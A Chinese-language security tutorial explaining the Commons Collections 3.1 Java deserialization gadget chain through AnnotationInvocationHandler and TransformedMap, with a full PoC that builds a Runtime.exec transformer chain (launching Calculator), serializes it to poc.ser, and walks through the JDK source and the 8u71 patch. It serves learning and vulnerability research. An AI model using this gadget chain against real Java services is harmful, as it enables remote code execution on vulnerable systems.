0x01 前言
通过前面的两篇文章,清楚的学习到了
要想成功的命令执行就必须触发ChainedTransformer
类的transform
方法
而想触发ChainedTransformer
类的transform
方法,上两篇文章中分别学到
第一篇文章的outerMap.put("kk", "vvv");
触发
第二篇文章的Map innerMap = new HashMap();``innerMap.put("kf", "vvv");
触发
虽然触发方法有所不同,但是本质上可以看的出来,都是通过Map
中加入一个新的元素
也就是Map.put();
操作,然后触发ChainedTransformer
类的transform
方法,最终执行恶意代码
在本地中,我们可以手工执行Map.put();
一个元素进去,触发漏洞
但是在实际中,需要找到一个类,读取恶意的序列化流,让它在反序列化的readObject()
逻辑时
有类似Map.put()
的操作,最终执行恶意代码
而这个类就是本篇文章的主角: sun.reflect.annotation.AnnotationInvocationHandler
0x02 demo
如果懒的创建环境的话,也可以通过github下载该环境如下:
https://github.com/pmiaowu/DeserializationTest
编辑器为: IntelliJ IDEA
java版本:
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
使用的架包:
Commons Collections 3.1
// 路径: /DeserializationTest/src/main/java
// 文件名称: CommonCollections1Test3.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1Test3 {
public static void main(String[] args) throws Exception {
// 要执行的命令
String cmd = "open -a /System/Applications/Calculator.app";
//构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
};
// 将 transformers 数组存入 ChaniedTransformer 这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建个 Map 准备拿来绑定 transformerChina
Map innerMap = new HashMap();
// put 第一个参数必须为 value, 第二个参数随便写
innerMap.put("value", "xxxx");
// 创建个 transformerChina 并绑定 innerMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 反射机制调用AnnotationInvocationHandler类的构造函数
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取 AnnotationInvocationHandler 类实例
Object instance = ctor.newInstance(Retention.class, outerMap);
// 保存反序列化文件
FileOutputStream f = new FileOutputStream("poc.ser");
ObjectOutputStream out = new ObjectOutputStream(f);
out.writeObject(instance);
System.out.println("执行完毕");
}
}
// 执行完毕以后 DeserializationTest目录下面会生成 poc.ser
0x03 AnnotationInvocationHandler
通过网上查找的资料发现AnnotationInvocationHandler
这个类,是用于处理注解的
0x03.1 对应的POC代码
// 反射机制调用AnnotationInvocationHandler类的构造函数
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取 AnnotationInvocationHandler 类实例
Object instance = ctor.newInstance(Retention.class, outerMap);
// 保存反序列化文件
FileOutputStream f = new FileOutputStream("poc.ser");
ObjectOutputStream out = new ObjectOutputStream(f);
out.writeObject(instance);
0x03.2 该类重点源码
先看一眼AnnotationInvocationHandler
类重点源码
如下:
package sun.reflect.annotation;
...
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
...
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
...
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
...
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
0x03.3 该类分析
0x03.3.1 啊明明,六问
第一个问题,跟进AnnotationInvocationHandler
类的构造函数
方法,看看做了什么?
第二个问题,为什么要使用Retention.class
?还有其它类可使用么怎么找?
第三个问题,为什么要使用反射?使用方法是?
第四个问题,跟进AnnotationInvocationHandler
类的readObject
方法,看看做了什么?
第五个问题,为什么innerMap.put("value", "xxxx");
这行代码的value
字符串,不能改成其它值?
第六个问题,为什么在Java 8u71
以后就无法利用?
0x03.3.2 自我解答
第一个问题答案:
想要清楚了解的话,一定要先在接着查看一次AnnotationInvocationHandler
的构造方法
源码AnnotationInvocationHandler
类的构造函数
方法,需要传入两个参数
第⼀个参数为,Annotation类类型参数,也就是POC传的Retention.class
第二个参数为,Map类型参数,也就是POC传的outerMap
接着判断参数一传入进来的类类型是否为Annotation.class
,并且必须含有至少一个方法
如果验证通过,那就把传输进来的值,分别赋值给了本类对应的成员变量里面
现在我们继续查看构造方法
赋值了给了AnnotationInvocationHandler
类的那些对应的成员变量里面Class[] var3 = var1.getInterfaces();
获取了Retention.class
所有实现的接口this.type = var1
单纯的赋值,也就是this.type = Retention.class;
this.memberValues = var2;
单纯的赋值,也就是this.memberValues = outerMap;
这三个成员变量一定要牢牢记住,因为它在readObject
方法里面很重要
最后需要注意的是: Retention.class
是一个注解类,而outerMap
是被TransformedMap
修饰过的类
第二个问题答案:
在回答这个问题之前,先看一眼对应的POC
Object instance = ctor.newInstance(Retention.class, outerMap);
在看AnnotationInvocationHandler
类的构造函数
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
第二个问题第一小点答案:
这个答案就很明显了把?
因为AnnotationInvocationHandler
类的构造函数
第一个参数必须要为Annotation
类的子类
并且该Annotation
类的子类必须含有至少一个方法,那样才能符合构造构造函数的要求
而Retention
类就是Annotation
类的子类之一,并且含有一个方法
第二个问题第二小点答案:
当然是有的,构造函数
说的很清楚了,第一个参数必须要为Annotation
类的子类,并且该Annotation
类的子类必须含有至少一个方法
基于这个,只要找找谁在创建类时是这样的public @interface xxxxx { }
并且含有至少一个方法即可
例如直接查找Java JDK
自带的架包
经过查找符合要求的一共有两个
第一个为: java.lang.annotation.Retention
第二个为: java.lang.annotation.Target
第三个问题答案:
这是因为sun.reflect.annotation.AnnotationInvocationHandler
是在Java JDK
内部的类
因此无法直接使用new
来实例化,但是可以通过反射来进行实例化
先看对应POC代码
// 反射机制调用AnnotationInvocationHandler类的构造函数
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取 AnnotationInvocationHandler 类实例
Object instance = ctor.newInstance(Retention.class, outerMap);
我们先使用反射获取到了它的构造方法(getDeclaredConstructor()
)
接着取消构造函数修饰符限制(setAccessible(true)
)
最后再调用就可以实例化了(newInstance()
)
第四个问题答案:
这里我们先debug查看结果,然后在慢慢分析
有了这张图就好分析了
首先想想AnnotationInvocationHandler
的构造方法
赋值情况Class[] var3 = var1.getInterfaces();
获取了Retention.class
所有实现的接口this.type = var1
单纯的赋值,也就是this.type = Retention.class;
this.memberValues = var2;
单纯的赋值,也就是this.memberValues = outerMap;
readObject
方法里面有两个核心逻辑,所以我们也只分析这两个核心逻辑Iterator var4 = this.memberValues.entrySet().iterator();
与var5.setValue(...)
this.memberValues
就是outerMap
而这个Map
是经过TransformedMap
修饰的对象
这里会遍历Iterator var4
所有的元素,并依次设置值
而如果所有的条件都满足的情况下会去调用var5.setValue(...)
设置值
最终在调用var5.setValue(...)
设置值时,就会触发TransformedMap
里注册的Transform
最后面进而执行我们为其精心设计的任意代码
是否还记得我们最前面说过要想成功的命令执行就必须达成什么条件么?
没错就是要触发ChainedTransformer
类的transform
方法
而要想触发这个方法,只需要对Map
对象有添加/修改的操作即可
那么这个var5.setValue(...)
就是一个完美的触发点
因为Map.Entry
是Map
的一个内部接口,所以var5
就是一个Map
对象
这里我们还提出了一个问题出来,如果所有的条件都满足的情况下会去调用var5.setValue(...)
设置值
那么这个条件如何判断是否满足?这就留在我们的第五个问题慢慢分析
第五个问题答案:
先看一眼相关的POC源码Object instance = ctor.newInstance(Retention.class, outerMap);
让我们在看看debug的图
可以看到,关键点就在于如何让var7
不为空
只有不为空,进入到下面的流程才能正常var5.setValue(...)
才会触发漏洞
那么如何让这个var7
不为null
呢?
主要有两点条件
AnnotationInvocationHandler
类,第⼀个参数为必须为Annotation类的子类,并且含有至少一个方法- 被
TransformedMap.decorate
修饰的Map
至少要有一个特定元素
在看一眼debug的图,看看执行流程
1, Entry var5 = (Entry)var4.next();
是个Map.Entry
,值为key = value, value = xxxx
2, 接着看String var6 = (String)var5.getKey();
,那么值就是value
3, 在然后Map var3 = var2.memberTypes();
4, 最后面Class var7 = (Class)var3.get(var6);
第3点与第四点,这里拿张debug的图给你标出来
所以(Class)var3 = Retention.class
满足了第一点的条件,并且里面有个value
方法
而Class var7 = (Class)var3.get(var6);
中的var6
就是POC传进来的outerMap
因此我们给Map中放入一个Key
是value
的元素,就可以get
到Retention.class
中的value
方法
这样就Class var7
就不为空了
第六个问题答案:
据phith0n(P牛)的JAVA安全漫谈系列里面谈到的,在8u71以后大概是2015年12月的时候Java
官方修改了sun.reflect.annotation.AnnotationInvocationHandler
的readObject
函数
链接: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去
后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了
0x04 总结
一路学习到这里,我们才算是真正入门了Java的反序列化漏洞的大门
那么就尝试把利用链的过程理一理
// 利用链过程
├── ObjectInputStream.readObject()
│ └── AnnotationInvocationHandler.readObject()
│ └── Map.entrySet().iterator() // this.memberValues.entrySet().iterator();
│ └── Map.get() // (Class)var3.get(var6);
│ └── Entry.setValue() // var5.setValue(...)
│ └── ChainedTransformer.transform()
│ ├── ConstantTransformer.transform()
│ ├── InvokerTransformer.transform()
│ │ └── Method.invoke()
│ │ └── Class.getMethod()
│ ├── InvokerTransformer.transform()
│ │ └── Method.invoke()
│ │ └── Runtime.getRuntime()
│ └── InvokerTransformer.transform()
│ └── Method.invoke()
│ └── Runtime.exec()
仔细对比ysoserial
的代码,你会发现,ysoserial
的代码使用的是LazyMap
而本篇文章使用的是TransformedMap
,其实都是一样的,只是这个触发方式更加简单
后面在通过深入ysoserial
的CC1,学习LazyMap
的利用链
未完待续….